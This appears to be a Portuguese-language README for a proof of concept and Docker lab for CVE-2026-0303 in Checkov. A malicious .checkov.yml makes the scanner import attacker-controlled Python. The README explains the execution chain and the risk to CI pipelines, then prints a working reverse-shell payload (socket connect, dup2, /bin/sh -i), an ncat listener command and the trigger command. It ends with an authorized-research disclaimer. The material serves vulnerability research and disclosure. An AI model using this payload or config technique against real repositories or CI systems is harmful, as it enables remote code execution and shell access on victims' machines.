
Prova de conceito e laboratório Docker para CVE-2026-0303, demonstrando execução arbitrária de código no Checkov por meio de um .checkov.yml carregado automaticamente que aponta para uma verificação externa controlada pelo atacante.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Severidade: Baixa
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilidade de execução de código arbitrário no Checkov.
Publicada pela Palo Alto Networks em 9 de setembro de 2026.
Versões afetadas: Checkov 3.2.0 até 3.2.531
Versão corrigida: Checkov 3.2.532
Execução de código arbitrário no Checkov por meio de um arquivo .checkov.yml carregado automaticamente
-> execução de código Python controlado pelo atacante por meio de uma verificação externa personalizada não assinada.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
O Checkov oferece suporte a verificações externas em Python. Essas verificações são intencionalmente carregadas como módulos Python, o que significa que instruções Python de nível superior são executadas durante a importação do módulo.
Quando o Checkov examina um diretório, ele procura automaticamente nesse diretório por um
arquivo de configuração .checkov.yml ou .checkov.yaml; um arquivo de configuração controlado pelo
atacante poderia definir external-checks-dir para um diretório dentro do repositório examinado.
Isso cria a seguinte cadeia de execução:
A vítima examina um repositório não confiável
->
O Checkov carrega automaticamente o .checkov.yml
->
A configuração define external-checks-dir
->
O Checkov importa um módulo Python controlado pelo atacante
->
O código Python de nível superior é executado com os privilégios do Checkov
O atacante não precisa explorar o analisador de Terraform nem fornecer uma política válida do Checkov. A execução de código ocorre quando o Checkov importa o arquivo Python.
Isso é particularmente relevante para pipelines de CI que executam automaticamente o Checkov em pull requests ou outro conteúdo não confiável de repositórios.
O payload do laboratório conecta-se do contêiner do Checkov a um listener no host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modifique o payload em exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Inicie um listener no host:
ncat -lvkp 4444
Dispare o comportamento vulnerável examinando o diretório controlado pelo atacante:
checkov -d /workspace --framework terraform --skip-download
O Checkov lê automaticamente /workspace/.checkov.yml, descobre o diretório de
verificações externas e importa poc_check.py. O listener deve receber o
shell quando a chamada exploit() no nível do módulo for executada.
Disponibilizei um laboratório Docker simples que você pode configurar via
docker compose up -d
e conectar ao seu shell via
docker exec -it scan-server /bin/sh
Este repositório contém uma prova de conceito independente para CVE-2026-0303. A vulnerabilidade foi recriada e testada em um ambiente de laboratório isolado.
Este projeto destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes em ambientes isolados. Não o utilize contra sistemas, redes, repositórios ou dados sem autorização explícita do proprietário.
O autor fornece este projeto no estado em que se encontra, sem garantias de qualquer tipo, e não assume qualquer responsabilidade por danos, perda de dados, interrupção de serviço, acesso não autorizado ou uso indevido deste software ou de seus derivados.